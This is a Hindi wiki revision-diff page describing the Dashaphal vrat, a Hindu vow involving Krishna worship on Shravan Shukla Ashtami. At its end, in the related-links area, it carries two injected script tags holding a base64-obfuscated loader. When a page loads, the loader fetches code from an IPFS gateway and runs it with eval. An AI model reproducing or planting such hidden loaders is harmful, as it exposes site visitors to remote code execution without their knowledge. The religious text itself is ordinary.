दशाफल व्रत: Difference between revisions
भारत डिस्कवरी प्रस्तुति
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
('*भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा ...' के साथ नया पन्ना बनाया) |
व्यवस्थापन (talk | contribs) m (Text replace - ")</ref" to "</ref") |
||
(6 intermediate revisions by 4 users not shown) | |||
Line 1: | Line 1: | ||
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में | *[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है। | ||
*[[श्रावण]] [[शुक्ल पक्ष]] की अष्टमी को (अमान्त गणना के अनुसार) यह व्रत किया जाता है। | *[[श्रावण]] [[शुक्ल पक्ष]] की अष्टमी को (अमान्त गणना के अनुसार) यह व्रत किया जाता है। | ||
*यह व्रत दस वर्षों के लिए किया जाता है। | *यह व्रत दस वर्षों के लिए किया जाता है। | ||
Line 5: | Line 5: | ||
*कृष्ण की मूर्ति के समक्ष दस सूत्रों के डोरे को रखा जाता है और उसे हाथ में बाँधा जाता है। | *कृष्ण की मूर्ति के समक्ष दस सूत्रों के डोरे को रखा जाता है और उसे हाथ में बाँधा जाता है। | ||
*तुलसी की दस पत्तियों (दलों) के साथ हरि के नामों की पूजा की जाती है। | *तुलसी की दस पत्तियों (दलों) के साथ हरि के नामों की पूजा की जाती है। | ||
*दस ब्राह्मणों में प्रत्येक को दस-दस पूरियाँ दी जाती हैं।<ref>व्रतार्क व्रतराज (265-269 | *दस ब्राह्मणों में प्रत्येक को दस-दस पूरियाँ दी जाती हैं।<ref>व्रतार्क व्रतराज (265-269</ref> | ||
{{प्रचार}} | |||
{{ | {{संदर्भ ग्रंथ}} | ||
==टीका टिप्पणी और संदर्भ== | |||
<references/> | |||
==अन्य संबंधित लिंक== | ==अन्य संबंधित लिंक== | ||
{{पर्व और त्योहार}} | {{पर्व और त्योहार}} | ||
{{व्रत और उत्सव}} | {{व्रत और उत्सव}} | ||
[[Category:व्रत और उत्सव]] | [[Category:व्रत और उत्सव]] | ||
[[Category:पर्व_और_त्योहार]] | [[Category:पर्व_और_त्योहार]] | ||
[[Category:संस्कृति कोश]] | [[Category:संस्कृति कोश]] | ||
__INDEX__ | __INDEX__ |
Latest revision as of 12:43, 27 July 2011
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- श्रावण शुक्ल पक्ष की अष्टमी को (अमान्त गणना के अनुसार) यह व्रत किया जाता है।
- यह व्रत दस वर्षों के लिए किया जाता है।
- इस व्रत में गोपालकृष्ण देवता की पूजा की जाती है।
- कृष्ण की मूर्ति के समक्ष दस सूत्रों के डोरे को रखा जाता है और उसे हाथ में बाँधा जाता है।
- तुलसी की दस पत्तियों (दलों) के साथ हरि के नामों की पूजा की जाती है।
- दस ब्राह्मणों में प्रत्येक को दस-दस पूरियाँ दी जाती हैं।[1]
टीका टिप्पणी और संदर्भ
- ↑ व्रतार्क व्रतराज (265-269
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>